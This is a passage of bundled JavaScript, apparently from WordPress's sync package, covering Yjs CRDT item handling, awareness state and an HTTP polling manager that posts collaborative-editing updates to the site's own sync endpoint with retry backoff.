9531 this.parent._item.deleted || this.parentSub !== null && this.right !== null
9532 ) {
9533 this.delete(transaction);
9534 }
9535 } else {
9536 new GC(this.id, this.length).integrate(transaction, 0);
9537 }
9538 }
9539 /**
9540 * Returns the next non-deleted item
9541 */
9542 get next() {
9543 let n = this.right;
9544 while (n !== null && n.deleted) {
9545 n = n.right;
9546 }
9547 return n;
9548 }
9549 /**
9550 * Returns the previous non-deleted item
9551 */
9552 get prev() {
9553 let n = this.left;
9554 while (n !== null && n.deleted) {
9555 n = n.left;
9556 }
9557 return n;
9558 }
9559 /**
9560 * Computes the last content address of this Item.
9561 */
9562 get lastId() {
9563 return this.length === 1 ? this.id : createID(this.id.client, this.id.clock + this.length - 1);
9564 }
9565 /**
9566 * Try to merge two items
9567 *
9568 * @param {Item} right
9569 * @return {boolean}
9570 */
9571 mergeWith(right) {
9572 if (this.constructor === right.constructor && compareIDs(right.origin, this.lastId) && this.right === right && compareIDs(this.rightOrigin, right.rightOrigin) && this.id.client === right.id.client && this.id.clock + this.length === right.id.clock && this.deleted === right.deleted && this.redone === null && right.redone === null && this.content.constructor === right.content.constructor && this.content.mergeWith(right.content)) {
9573 const searchMarker = (
9574 /** @type {AbstractType<any>} */
9575 this.parent._searchMarker
9576 );
9577 if (searchMarker) {
9578 searchMarker.forEach((marker) => {
9579 if (marker.p === right) {
9580 marker.p = this;
9581 if (!this.deleted && this.countable) {
9582 marker.index -= this.length;
9583 }
9584 }
9585 });
9586 }
9587 if (right.keep) {
9588 this.keep = true;
9589 }
9590 this.right = right.right;
9591 if (this.right !== null) {
9592 this.right.left = this;
9593 }
9594 this.length += right.length;
9595 return true;
9596 }
9597 return false;
9598 }
9599 /**
9600 * Mark this Item as deleted.
9601 *
9602 * @param {Transaction} transaction
9603 */
9604 delete(transaction) {
9605 if (!this.deleted) {
9606 const parent = (
9607 /** @type {AbstractType<any>} */
9608 this.parent
9609 );
9610 if (this.countable && this.parentSub === null) {
9611 parent._length -= this.length;
9612 }
9613 this.markDeleted();
9614 addToDeleteSet(transaction.deleteSet, this.id.client, this.id.clock, this.length);
9615 addChangedTypeToTransaction(transaction, parent, this.parentSub);
9616 this.content.delete(transaction);
9617 }
9618 }
9619 /**
9620 * @param {StructStore} store
9621 * @param {boolean} parentGCd
9622 */
9623 gc(store2, parentGCd) {
9624 if (!this.deleted) {
9625 throw unexpectedCase();
9626 }
9627 this.content.gc(store2);
9628 if (parentGCd) {
9629 replaceStruct(store2, this, new GC(this.id, this.length));
9630 } else {
9631 this.content = new ContentDeleted(this.length);
9632 }
9633 }
9634 /**
9635 * Transform the properties of this type to binary and write it to an
9636 * BinaryEncoder.
9637 *
9638 * This is called when this Item is sent to a remote peer.
9639 *
9640 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder The encoder to write data to.
9641 * @param {number} offset
9642 */
9643 write(encoder, offset) {
9644 const origin2 = offset > 0 ? createID(this.id.client, this.id.clock + offset - 1) : this.origin;
9645 const rightOrigin = this.rightOrigin;
9646 const parentSub = this.parentSub;
9647 const info = this.content.getRef() & BITS5 | (origin2 === null ? 0 : BIT8) | // origin is defined
9648 (rightOrigin === null ? 0 : BIT7) | // right origin is defined
9649 (parentSub === null ? 0 : BIT6);
9650 encoder.writeInfo(info);
9651 if (origin2 !== null) {
9652 encoder.writeLeftID(origin2);
9653 }
9654 if (rightOrigin !== null) {
9655 encoder.writeRightID(rightOrigin);
9656 }
9657 if (origin2 === null && rightOrigin === null) {
9658 const parent = (
9659 /** @type {AbstractType<any>} */
9660 this.parent
9661 );
9662 if (parent._item !== void 0) {
9663 const parentItem = parent._item;
9664 if (parentItem === null) {
9665 const ykey = findRootTypeKey(parent);
9666 encoder.writeParentInfo(true);
9667 encoder.writeString(ykey);
9668 } else {
9669 encoder.writeParentInfo(false);
9670 encoder.writeLeftID(parentItem.id);
9671 }
9672 } else if (parent.constructor === String) {
9673 encoder.writeParentInfo(true);
9674 encoder.writeString(parent);
9675 } else if (parent.constructor === ID) {
9676 encoder.writeParentInfo(false);
9677 encoder.writeLeftID(parent);
9678 } else {
9679 unexpectedCase();
9680 }
9681 if (parentSub !== null) {
9682 encoder.writeString(parentSub);
9683 }
9684 }
9685 this.content.write(encoder, offset);
9686 }
9687 };
9688 var readItemContent = (decoder, info) => contentRefs[info & BITS5](decoder);
9689 var contentRefs = [
9690 () => {
9691 unexpectedCase();
9692 },
9693 // GC is not ItemContent
9694 readContentDeleted,
9695 // 1
9696 readContentJSON,
9697 // 2
9698 readContentBinary,
9699 // 3
9700 readContentString,
9701 // 4
9702 readContentEmbed,
9703 // 5
9704 readContentFormat,
9705 // 6
9706 readContentType,
9707 // 7
9708 readContentAny,
9709 // 8
9710 readContentDoc,
9711 // 9
9712 () => {
9713 unexpectedCase();
9714 }
9715 // 10 - Skip is not ItemContent
9716 ];
9717 var structSkipRefNumber = 10;
9718 var Skip = class extends AbstractStruct {
9719 get deleted() {
9720 return true;
9721 }
9722 delete() {
9723 }
9724 /**
9725 * @param {Skip} right
9726 * @return {boolean}
9727 */
9728 mergeWith(right) {
9729 if (this.constructor !== right.constructor) {
9730 return false;
9731 }
9732 this.length += right.length;
9733 return true;
9734 }
9735 /**
9736 * @param {Transaction} transaction
9737 * @param {number} offset
9738 */
9739 integrate(transaction, offset) {
9740 unexpectedCase();
9741 }
9742 /**
9743 * @param {UpdateEncoderV1 | UpdateEncoderV2} encoder
9744 * @param {number} offset
9745 */
9746 write(encoder, offset) {
9747 encoder.writeInfo(structSkipRefNumber);
9748 writeVarUint(encoder.restEncoder, this.length - offset);
9749 }
9750 /**
9751 * @param {Transaction} transaction
9752 * @param {StructStore} store
9753 * @return {null | number}
9754 */
9755 getMissing(transaction, store2) {
9756 return null;
9757 }
9758 };
9759 var glo = (
9760 /** @type {any} */
9761 typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : {}
9762 );
9763 var importIdentifier = "__ $YJS$ __";
9764 if (glo[importIdentifier] === true) {
9765 console.error("Yjs was already imported. This breaks constructor checks and will lead to issues! - https://github.com/yjs/yjs/issues/438");
9766 }
9767 glo[importIdentifier] = true;
9768
9769 // packages/sync/node_modules/y-protocols/awareness.js
9770 var outdatedTimeout = 3e4;
9771 var Awareness = class extends Observable {
9772 /**
9773 * @param {Y.Doc} doc
9774 */
9775 constructor(doc2) {
9776 super();
9777 this.doc = doc2;
9778 this.clientID = doc2.clientID;
9779 this.states = /* @__PURE__ */ new Map();
9780 this.meta = /* @__PURE__ */ new Map();
9781 this._checkInterval = /** @type {any} */
9782 setInterval(() => {
9783 const now = getUnixTime();
9784 if (this.getLocalState() !== null && outdatedTimeout / 2 <= now - /** @type {{lastUpdated:number}} */
9785 this.meta.get(this.clientID).lastUpdated) {
9786 this.setLocalState(this.getLocalState());
9787 }
9788 const remove = [];
9789 this.meta.forEach((meta, clientid) => {
9790 if (clientid !== this.clientID && outdatedTimeout <= now - meta.lastUpdated && this.states.has(clientid)) {
9791 remove.push(clientid);
9792 }
9793 });
9794 if (remove.length > 0) {
9795 removeAwarenessStates(this, remove, "timeout");
9796 }
9797 }, floor(outdatedTimeout / 10));
9798 doc2.on("destroy", () => {
9799 this.destroy();
9800 });
9801 this.setLocalState({});
9802 }
9803 destroy() {
9804 this.emit("destroy", [this]);
9805 this.setLocalState(null);
9806 super.destroy();
9807 clearInterval(this._checkInterval);
9808 }
9809 /**
9810 * @return {Object<string,any>|null}
9811 */
9812 getLocalState() {
9813 return this.states.get(this.clientID) || null;
9814 }
9815 /**
9816 * @param {Object<string,any>|null} state
9817 */
9818 setLocalState(state) {
9819 const clientID = this.clientID;
9820 const currLocalMeta = this.meta.get(clientID);
9821 const clock = currLocalMeta === void 0 ? 0 : currLocalMeta.clock + 1;
9822 const prevState = this.states.get(clientID);
9823 if (state === null) {
9824 this.states.delete(clientID);
9825 } else {
9826 this.states.set(clientID, state);
9827 }
9828 this.meta.set(clientID, {
9829 clock,
9830 lastUpdated: getUnixTime()
9831 });
9832 const added = [];
9833 const updated = [];
9834 const filteredUpdated = [];
9835 const removed = [];
9836 if (state === null) {
9837 removed.push(clientID);
9838 } else if (prevState == null) {
9839 if (state != null) {
9840 added.push(clientID);
9841 }
9842 } else {
9843 updated.push(clientID);
9844 if (!equalityDeep(prevState, state)) {
9845 filteredUpdated.push(clientID);
9846 }
9847 }
9848 if (added.length > 0 || filteredUpdated.length > 0 || removed.length > 0) {
9849 this.emit("change", [{ added, updated: filteredUpdated, removed }, "local"]);
9850 }
9851 this.emit("update", [{ added, updated, removed }, "local"]);
9852 }
9853 /**
9854 * @param {string} field
9855 * @param {any} value
9856 */
9857 setLocalStateField(field, value) {
9858 const state = this.getLocalState();
9859 if (state !== null) {
9860 this.setLocalState({
9861 ...state,
9862 [field]: value
9863 });
9864 }
9865 }
9866 /**
9867 * @return {Map<number,Object<string,any>>}
9868 */
9869 getStates() {
9870 return this.states;
9871 }
9872 };
9873 var removeAwarenessStates = (awareness, clients, origin2) => {
9874 const removed = [];
9875 for (let i = 0; i < clients.length; i++) {
9876 const clientID = clients[i];
9877 if (awareness.states.has(clientID)) {
9878 awareness.states.delete(clientID);
9879 if (clientID === awareness.clientID) {
9880 const curMeta = (
9881 /** @type {MetaClientState} */
9882 awareness.meta.get(clientID)
9883 );
9884 awareness.meta.set(clientID, {
9885 clock: curMeta.clock + 1,
9886 lastUpdated: getUnixTime()
9887 });
9888 }
9889 removed.push(clientID);
9890 }
9891 }
9892 if (removed.length > 0) {
9893 awareness.emit("change", [{ added: [], updated: [], removed }, origin2]);
9894 awareness.emit("update", [{ added: [], updated: [], removed }, origin2]);
9895 }
9896 };
9897
9898 // packages/sync/build-module/config.mjs
9899 var CRDT_DOC_VERSION = 1;
9900 var CRDT_DOC_META_PERSISTENCE_KEY = "fromPersistence";
9901 var CRDT_RECORD_MAP_KEY = "document";
9902 var CRDT_STATE_MAP_KEY = "state";
9903 var CRDT_STATE_MAP_SAVED_AT_KEY = "savedAt";
9904 var CRDT_STATE_MAP_SAVED_BY_KEY = "savedBy";
9905 var CRDT_STATE_MAP_VERSION_KEY = "version";
9906 var LOCAL_EDITOR_ORIGIN = "gutenberg";
9907 var LOCAL_SYNC_MANAGER_ORIGIN = "syncManager";
9908 var LOCAL_UNDO_IGNORED_ORIGIN = "gutenberg-undo-ignored";
9909
9910 // packages/sync/build-module/errors.mjs
9911 var ConnectionErrorCode = /* @__PURE__ */ ((ConnectionErrorCode22) => {
9912 ConnectionErrorCode22["AUTHENTICATION_FAILED"] = "authentication-failed";
9913 ConnectionErrorCode22["CONNECTION_EXPIRED"] = "connection-expired";
9914 ConnectionErrorCode22["CONNECTION_LIMIT_EXCEEDED"] = "connection-limit-exceeded";
9915 ConnectionErrorCode22["DOCUMENT_SIZE_LIMIT_EXCEEDED"] = "document-size-limit-exceeded";
9916 ConnectionErrorCode22["UNKNOWN_ERROR"] = "unknown-error";
9917 return ConnectionErrorCode22;
9918 })(ConnectionErrorCode || {});
9919 var ConnectionError = class extends Error {
9920 constructor(code = "unknown-error", message) {
9921 super(message);
9922 this.code = code;
9923 this.name = "ConnectionError";
9924 }
9925 };
9926
9927 // packages/sync/build-module/lock-unlock.mjs
9928 var import_private_apis = __toESM(require_private_apis(), 1);
9929 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
9930 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
9931 "@wordpress/sync"
9932 );
9933
9934 // packages/sync/build-module/performance.mjs
9935 function logPerformanceTiming(fn) {
9936 return function(...args2) {
9937 const start = performance.now();
9938 const result = fn.apply(this, args2);
9939 const end = performance.now();
9940 console.log(
9941 `[SyncManager][performance]: ${fn.name} took ${(end - start).toFixed(2)} ms`
9942 );
9943 return result;
9944 };
9945 }
9946 function passThru(fn) {
9947 return ((...args2) => fn(...args2));
9948 }
9949 function yieldToEventLoop(fn) {
9950 return function(...args2) {
9951 setTimeout(() => {
9952 fn.apply(this, args2);
9953 }, 0);
9954 };
9955 }
9956
9957 // packages/sync/build-module/providers/index.mjs
9958 var import_hooks3 = __toESM(require_hooks(), 1);
9959
9960 // packages/sync/build-module/providers/http-polling/polling-manager.mjs
9961 var import_hooks2 = __toESM(require_hooks(), 1);
9962
9963 // packages/sync/node_modules/y-protocols/sync.js
9964 var messageYjsSyncStep1 = 0;
9965 var messageYjsSyncStep2 = 1;
9966 var messageYjsUpdate = 2;
9967 var writeSyncStep1 = (encoder, doc2) => {
9968 writeVarUint(encoder, messageYjsSyncStep1);
9969 const sv = encodeStateVector(doc2);
9970 writeVarUint8Array(encoder, sv);
9971 };
9972 var writeSyncStep2 = (encoder, doc2, encodedStateVector) => {
9973 writeVarUint(encoder, messageYjsSyncStep2);
9974 writeVarUint8Array(encoder, encodeStateAsUpdate(doc2, encodedStateVector));
9975 };
9976 var readSyncStep1 = (decoder, encoder, doc2) => writeSyncStep2(encoder, doc2, readVarUint8Array(decoder));
9977 var readSyncStep2 = (decoder, doc2, transactionOrigin, errorHandler) => {
9978 try {
9979 applyUpdate(doc2, readVarUint8Array(decoder), transactionOrigin);
9980 } catch (error) {
9981 if (errorHandler != null) errorHandler(
9982 /** @type {Error} */
9983 error
9984 );
9985 console.error("Caught error while handling a Yjs update", error);
9986 }
9987 };
9988 var readUpdate2 = readSyncStep2;
9989 var readSyncMessage = (decoder, encoder, doc2, transactionOrigin, errorHandler) => {
9990 const messageType = readVarUint(decoder);
9991 switch (messageType) {
9992 case messageYjsSyncStep1:
9993 readSyncStep1(decoder, encoder, doc2);
9994 break;
9995 case messageYjsSyncStep2:
9996 readSyncStep2(decoder, doc2, transactionOrigin, errorHandler);
9997 break;
9998 case messageYjsUpdate:
9999 readUpdate2(decoder, doc2, transactionOrigin, errorHandler);
10000 break;
10001 default:
10002 throw new Error("Unknown message type");
10003 }
10004 return messageType;
10005 };
10006
10007 // packages/sync/build-module/providers/http-polling/config.mjs
10008 var import_hooks = __toESM(require_hooks(), 1);
10009 var DEFAULT_CLIENT_LIMIT_PER_ROOM = 3;
10010 var ERROR_RETRY_DELAYS_SOLO_MS = [
10011 2e3,
10012 4e3,
10013 8e3,
10014 12e3
10015 // Solo: 26s total retry time solo before dialog
10016 ];
10017 var ERROR_RETRY_DELAYS_WITH_COLLABORATORS_MS = [
10018 1e3,
10019 2e3,
10020 4e3,
10021 8e3
10022 // With collaborators: 15s total retry time before dialog
10023 ];
10024 var DISCONNECT_DIALOG_RETRY_MS = 3e4;
10025 var MANUAL_RETRY_INTERVAL_MS = 15e3;
10026 var MAX_UPDATE_SIZE_IN_BYTES = 1 * 1024 * 1024;
10027 var MAX_ROOMS_PER_REQUEST = 50;
10028 var POLLING_INTERVAL_IN_MS = (0, import_hooks.applyFilters)(
10029 "sync.pollingManager.pollingInterval",
10030 4e3
10031 // 4 seconds
10032 );
10033 var POLLING_INTERVAL_WITH_COLLABORATORS_IN_MS = (0, import_hooks.applyFilters)(
10034 "sync.pollingManager.pollingIntervalWithCollaborators",
10035 1e3
10036 // 1 second
10037 );
10038 var POLLING_INTERVAL_BACKGROUND_TAB_IN_MS = 25 * 1e3;
10039
10040 // packages/sync/build-module/providers/http-polling/types.mjs
10041 var SyncUpdateType = /* @__PURE__ */ ((SyncUpdateType2) => {
10042 SyncUpdateType2["COMPACTION"] = "compaction";
10043 SyncUpdateType2["SYNC_STEP_1"] = "sync_step1";
10044 SyncUpdateType2["SYNC_STEP_2"] = "sync_step2";
10045 SyncUpdateType2["UPDATE"] = "update";
10046 return SyncUpdateType2;
10047 })(SyncUpdateType || {});
10048
10049 // packages/sync/build-module/providers/http-polling/utils.mjs
10050 var import_api_fetch = __toESM(require_api_fetch(), 1);
10051 var SYNC_API_PATH = "/wp-sync/v1/updates";
10052 function uint8ArrayToBase64(data) {
10053 let binary = "";
10054 const len = data.byteLength;
10055 for (let i = 0; i < len; i++) {
10056 binary += String.fromCharCode(data[i]);
10057 }
10058 return globalThis.btoa(binary);
10059 }
10060 function base64ToUint8Array(base64) {
10061 const binaryString = globalThis.atob(base64);
10062 const len = binaryString.length;
10063 const bytes = new Uint8Array(len);
10064 for (let i = 0; i < len; i++) {
10065 bytes[i] = binaryString.charCodeAt(i);
10066 }
10067 return bytes;
10068 }
10069 function createSyncUpdate(data, type) {
10070 return {
10071 data: uint8ArrayToBase64(data),
10072 type
10073 };
10074 }
10075 function createUpdateQueue(initial = [], paused = true) {
10076 let isPaused = paused;
10077 const updates = [...initial];
10078 return {
10079 add(update) {
10080 updates.push(update);
10081 },
10082 addBulk(bulkUpdates) {
10083 if (0 === bulkUpdates.length) {
10084 return;
10085 }
10086 updates.push(...bulkUpdates);
10087 },
10088 clear() {
10089 updates.splice(0, updates.length);
10090 },
10091 get() {
10092 if (isPaused) {
10093 return [];
10094 }
10095 return updates.splice(0, updates.length);
10096 },
10097 pause() {
10098 isPaused = true;
10099 },
10100 restore(restoredUpdates) {
10101 const filtered = restoredUpdates.filter(
10102 (u) => u.type !== SyncUpdateType.COMPACTION
10103 );
10104 if (0 === filtered.length) {
10105 return;
10106 }
10107 updates.unshift(...filtered);
10108 },
10109 resume() {
10110 isPaused = false;
10111 },
10112 size() {
10113 return updates.length;
10114 }
10115 };
10116 }
10117 async function postSyncUpdate(payload) {
10118 const response = await (0, import_api_fetch.default)({
10119 body: JSON.stringify(payload),
10120 headers: {
10121 "Content-Type": "application/json"
10122 },
10123 method: "POST",
10124 parse: false,
10125 path: SYNC_API_PATH
10126 });
10127 if (!response.ok) {
10128 throw new Error(
10129 `Sync update failed with status ${response.status}`
10130 );
10131 }
10132 return await response.json();
10133 }
10134 function postSyncUpdateNonBlocking(payload) {
10135 if (payload.rooms.length === 0) {
10136 return;
10137 }
10138 (0, import_api_fetch.default)({
10139 body: JSON.stringify(payload),
10140 headers: { "Content-Type": "application/json" },
10141 keepalive: true,
10142 method: "POST",
10143 parse: false,
10144 path: SYNC_API_PATH
10145 }).catch(() => {
10146 });
10147 }
10148 function intValueOrDefault(value, defaultValue) {
10149 const intValue = parseInt(String(value), 10);
10150 return isNaN(intValue) ? defaultValue : intValue;
10151 }
10152 function rotateWindow(items2, offset, size2) {
10153 if (items2.length === 0) {
10154 return { window: [], nextOffset: 0 };
10155 }
10156 const start = (offset % items2.length + items2.length) % items2.length;
10157 const wrapped = [...items2.slice(start), ...items2.slice(0, start)];
10158 return {
10159 window: wrapped.slice(0, Math.max(0, size2)),
10160 nextOffset: (start + Math.max(0, size2)) % items2.length
10161 };
10162 }
10163
10164 // packages/sync/build-module/providers/http-polling/polling-manager.mjs
10165 var POLLING_MANAGER_ORIGIN = "polling-manager";
10166 function isForbiddenError(error) {
10167 return error?.data?.status === 403;
10168 }
10169 function identifyForbiddenRoom(error, rooms) {
10170 const message = typeof error.message === "string" ? error.message : "";
10171 const sortedRooms = [...rooms].sort((a, b) => b.length - a.length);
10172 for (const room of sortedRooms) {
10173 if (message.includes(room)) {
10174 return room;
10175 }
10176 }
10177 return null;
10178 }
10179 function handleForbiddenError(error, requestedRooms) {
10180 const forbiddenRoom = identifyForbiddenRoom(
10181 error,
10182 requestedRooms.map((r) => r.room)
10183 );
10184 if (forbiddenRoom) {
10185 const state = roomStates.get(forbiddenRoom);
10186 if (state) {
10187 state.log(
10188 "Permission denied, unregistering room",
10189 { error },
10190 "error",
10191 true
10192 // force
10193 );
10194 unregisterRoom(forbiddenRoom, { sendDisconnectSignal: false });
10195 }
10196 for (const room of requestedRooms) {
10197 if (room.room === forbiddenRoom || !roomStates.has(room.room)) {
10198 continue;
10199 }
10200 const remainingState = roomStates.get(room.room);
10201 if (room.updates.length > 0) {
10202 remainingState.updateQueue.restore(room.updates);
10203 }
10204 }
10205 } else {
10206 const rooms = [...roomStates.keys()];
10207 for (const room of rooms) {
10208 const state = roomStates.get(room);
10209 if (state) {
10210 state.log(
10211 "Permission denied, unregistering room",
10212 { error },
10213 "error",
10214 true
10215 // force
10216 );
10217 unregisterRoom(room, { sendDisconnectSignal: false });
10218 }
10219 }
10220 }
10221 }
10222 var roomStates = /* @__PURE__ */ new Map();
10223 function createDeprecatedCompactionUpdate(updates) {
10224 const mergeable = updates.filter(
10225 (u) => [SyncUpdateType.COMPACTION, SyncUpdateType.UPDATE].includes(
10226 u.type
10227 )
10228 ).map((u) => base64ToUint8Array(u.data));
10229 return createSyncUpdate(
10230 mergeUpdatesV2(mergeable),
10231 SyncUpdateType.COMPACTION
10232 );
10233 }
10234 function createSyncStep1Update(doc2) {
10235 const encoder = createEncoder();
10236 writeSyncStep1(encoder, doc2);
10237 return createSyncUpdate(
10238 toUint8Array(encoder),
10239 SyncUpdateType.SYNC_STEP_1
10240 );
10241 }
10242 function createSyncStep2Update(doc2, step1) {
10243 const decoder = createDecoder(step1);
10244 const encoder = createEncoder();
10245 readSyncMessage(
10246 decoder,
10247 encoder,
10248 doc2,
10249 POLLING_MANAGER_ORIGIN
10250 );
10251 return createSyncUpdate(
10252 toUint8Array(encoder),
10253 SyncUpdateType.SYNC_STEP_2
10254 );
10255 }
10256 function processAwarenessUpdate(state, awareness) {
10257 const currentStates = awareness.getStates();
10258 const added = /* @__PURE__ */ new Set();
10259 const updated = /* @__PURE__ */ new Set();
10260 const removed = new Set(
10261 Array.from(currentStates.keys()).filter(
10262 (clientId) => !state[clientId]
10263 )
10264 );
10265 Object.entries(state).forEach(([clientIdString, awarenessState]) => {
10266 const clientId = Number(clientIdString);
10267 if (clientId === awareness.clientID) {
10268 return;
10269 }
10270 if (null === awarenessState) {
10271 currentStates.delete(clientId);
10272 removed.add(clientId);
10273 return;
10274 }
10275 if (!currentStates.has(clientId)) {
10276 currentStates.set(clientId, awarenessState);
10277 added.add(clientId);
10278 return;
10279 }
10280 const currentState = currentStates.get(clientId);
10281 if (JSON.stringify(currentState) !== JSON.stringify(awarenessState)) {
10282 currentStates.set(clientId, awarenessState);
10283 updated.add(clientId);
10284 }
10285 });
10286 if (added.size + updated.size > 0) {
10287 awareness.emit("change", [
10288 {
10289 added: Array.from(added),
10290 updated: Array.from(updated),
10291 // Left blank on purpose, as the removal of clients is handled in the if condition below.
10292 removed: []
10293 }
10294 ]);
10295 }
10296 if (removed.size > 0) {
10297 removeAwarenessStates(
10298 awareness,
10299 Array.from(removed),
10300 POLLING_MANAGER_ORIGIN
10301 );
10302 }
10303 }
10304 function processDocUpdate(update, doc2, onSync) {
10305 const data = base64ToUint8Array(update.data);
10306 switch (update.type) {
10307 case SyncUpdateType.SYNC_STEP_1: {
10308 return createSyncStep2Update(doc2, data);
10309 }
10310 case SyncUpdateType.SYNC_STEP_2: {
10311 const decoder = createDecoder(data);
10312 const encoder = createEncoder();
10313 readSyncMessage(
10314 decoder,
10315 encoder,
10316 doc2,
10317 POLLING_MANAGER_ORIGIN
10318 );
10319 onSync();
10320 return;
10321 }
10322 case SyncUpdateType.COMPACTION:
10323 case SyncUpdateType.UPDATE: {
10324 applyUpdateV2(doc2, data, POLLING_MANAGER_ORIGIN);
10325 }
10326 }
10327 }
10328 function checkConnectionLimit(awareness, roomState) {
10329 if (!roomState.isPrimaryRoom || hasCheckedConnectionLimit) {
10330 return false;
10331 }
10332 hasCheckedConnectionLimit = true;
10333 const maxClientsPerRoom = (0, import_hooks2.applyFilters)(
10334 "sync.pollingProvider.maxClientsPerRoom",
10335 DEFAULT_CLIENT_LIMIT_PER_ROOM,
10336 roomState.room
10337 );
10338 const clientCount = Object.keys(awareness).length;
10339 const validatedLimit = intValueOrDefault(
10340 maxClientsPerRoom,
10341 DEFAULT_CLIENT_LIMIT_PER_ROOM
10342 );
10343 if (clientCount > validatedLimit) {
10344 roomState.log("Connection limit exceeded", {
10345 clientCount,
10346 maxClientsPerRoom: validatedLimit,
10347 room: roomState.room
10348 });
10349 return true;
10350 }
10351 return false;
10352 }
10353 var areListenersRegistered = false;
10354 var consecutiveFailures = 0;
10355 var hasCheckedConnectionLimit = false;
10356 var isManualRetry = false;
10357 var hasCollaborators = false;
10358 var isActiveBrowser = "visible" === document.visibilityState;
10359 var isPolling = false;
10360 var isUnloadPending = false;
10361 var pollInterval = POLLING_INTERVAL_IN_MS;
10362 var pollingTimeoutId = null;
10363 var roomOverflowOffset = 0;
10364 function handleBeforeUnload() {
10365 isUnloadPending = true;
10366 }
10367 function handlePageHide() {
10368 const rooms = Array.from(roomStates.entries()).map(
10369 ([room, state]) => ({
10370 after: 0,
10371 awareness: null,
10372 client_id: state.clientId,
10373 room,
10374 updates: []
10375 })
10376 );
10377 for (let i = 0; i < rooms.length; i += MAX_ROOMS_PER_REQUEST) {
10378 postSyncUpdateNonBlocking({
10379 rooms: rooms.slice(i, i + MAX_ROOMS_PER_REQUEST)
10380 });
10381 }
10382 }
10383 function handleVisibilityChange() {
10384 const wasActive = isActiveBrowser;
10385 isActiveBrowser = document.visibilityState === "visible";
10386 if (isActiveBrowser && !wasActive) {
10387 if (pollingTimeoutId) {
10388 clearTimeout(pollingTimeoutId);
10389 pollingTimeoutId = null;
10390 poll();
10391 }
10392 }
10393 }
10394 function selectRoomsForRequest() {
10395 const allRooms = Array.from(roomStates.values());
10396 if (allRooms.length <= MAX_ROOMS_PER_REQUEST) {
10397 return allRooms;
10398 }
10399 const primaryRoom = allRooms.find((state) => state.isPrimaryRoom);
10400 const overflowRooms = allRooms.filter((state) => state !== primaryRoom);
10401 const overflowSlotsPerRequest = MAX_ROOMS_PER_REQUEST - (primaryRoom ? 1 : 0);
10402 const { window: overflowSlice, nextOffset } = rotateWindow(
10403 overflowRooms,
10404 roomOverflowOffset,
10405 overflowSlotsPerRequest
10406 );
10407 roomOverflowOffset = nextOffset;
10408 if (primaryRoom) {
10409 return [primaryRoom, ...overflowSlice];
10410 }
10411 return overflowSlice;
10412 }
10413 function poll() {
10414 isPolling = true;
10415 pollingTimeoutId = null;
10416 async function start() {
10417 if (0 === roomStates.size) {
10418 isPolling = false;
10419 return;
10420 }
10421 isUnloadPending = false;
10422 const roomsInRequest = selectRoomsForRequest();
10423 const payload = {
10424 rooms: roomsInRequest.map((state) => ({
10425 after: state.endCursor ?? 0,
10426 awareness: state.localAwarenessState,
10427 client_id: state.clientId,
10428 room: state.room,
10429 updates: state.updateQueue.get()
10430 }))
10431 };
10432 roomsInRequest.forEach((state) => {
10433 state.onStatusChange({ status: "connecting" });
10434 });
10435 try {
10436 const { rooms } = await postSyncUpdate(payload);
10437 consecutiveFailures = 0;
10438 isManualRetry = false;
10439 roomsInRequest.forEach((state) => {
10440 if (roomStates.get(state.room) !== state) {
10441 return;
10442 }
10443 state.onStatusChange({ status: "connected" });
10444 });
10445 hasCollaborators = false;
10446 rooms.forEach((room) => {
10447 if (!roomStates.has(room.room)) {
10448 return;
10449 }
10450 const roomState = roomStates.get(room.room);
10451 roomState.endCursor = room.end_cursor;
10452 if (checkConnectionLimit(room.awareness, roomState)) {
10453 roomState.onStatusChange({
10454 status: "disconnected",
10455 error: new ConnectionError(
10456 ConnectionErrorCode.CONNECTION_LIMIT_EXCEEDED,
10457 "Connection limit exceeded"
10458 )
10459 });
10460 unregisterRoom(room.room);
10461 return;
10462 }
10463 roomState.processAwarenessUpdate(room.awareness);
10464 if (roomState.isPrimaryRoom && Object.keys(room.awareness).length > 1) {
10465 hasCollaborators = true;
10466 roomStates.forEach((state) => {
10467 state.updateQueue.resume();
10468 });
10469 }
10470 const responseUpdates = [];
10471 for (const update of room.updates) {
10472 try {
10473 const response = roomState.processDocUpdate(update);
10474 if (response) {
10475 responseUpdates.push(response);
10476 }
10477 } catch (error) {
10478 roomState.log(
10479 "Failed to apply sync update",
10480 { error, update },
10481 "error",
10482 true
10483 // force
10484 );
10485 }
10486 }
10487 roomState.updateQueue.addBulk(responseUpdates);
10488 if (room.should_compact) {
10489 roomState.log("Server requested compaction update");
10490 roomState.updateQueue.clear();
10491 roomState.updateQueue.add(
10492 roomState.createCompactionUpdate()
10493 );
10494 } else if (room.compaction_request) {
10495 roomState.log("Server requested (old) compaction update");
10496 roomState.updateQueue.add(
10497 createDeprecatedCompactionUpdate(
10498 room.compaction_request
10499 )
10500 );
10501 }
10502 });
10503 if (isActiveBrowser && hasCollaborators) {
10504 pollInterval = POLLING_INTERVAL_WITH_COLLABORATORS_IN_MS;
10505 } else if (isActiveBrowser) {
10506 pollInterval = POLLING_INTERVAL_IN_MS;
10507 } else {
10508 pollInterval = POLLING_INTERVAL_BACKGROUND_TAB_IN_MS;
10509 }
10510 } catch (error) {
10511 if (isForbiddenError(error)) {
10512 handleForbiddenError(error, payload.rooms);
10513 if (roomStates.size === 0) {
10514 isPolling = false;
10515 return;
10516 }
10517 } else {
10518 consecutiveFailures++;
10519 const retrySchedule = hasCollaborators ? ERROR_RETRY_DELAYS_WITH_COLLABORATORS_MS : ERROR_RETRY_DELAYS_SOLO_MS;
10520 if (consecutiveFailures <= retrySchedule.length) {
10521 pollInterval = retrySchedule[consecutiveFailures - 1];
10522 } else {
10523 pollInterval = DISCONNECT_DIALOG_RETRY_MS;
10524 }
10525 if (isManualRetry) {
10526 pollInterval = MANUAL_RETRY_INTERVAL_MS;
10527 isManualRetry = false;
10528 }
10529 for (const room of payload.rooms) {
10530 if (!roomStates.has(room.room)) {
10531 continue;
10532 }
10533 const state = roomStates.get(room.room);
10534 if (room.updates.length > 0 && state.endCursor > 0) {
10535 state.updateQueue.clear();
10536 state.updateQueue.add(state.createCompactionUpdate());
10537 } else if (room.updates.length > 0) {
10538 state.updateQueue.restore(room.updates);
10539 }
10540 state.log(
10541 "Error posting sync update, will retry with backoff",
10542 { error, nextPoll: pollInterval },
10543 "error",
10544 true
10545 // force
10546 );
10547 }
10548 if (!isUnloadPending) {
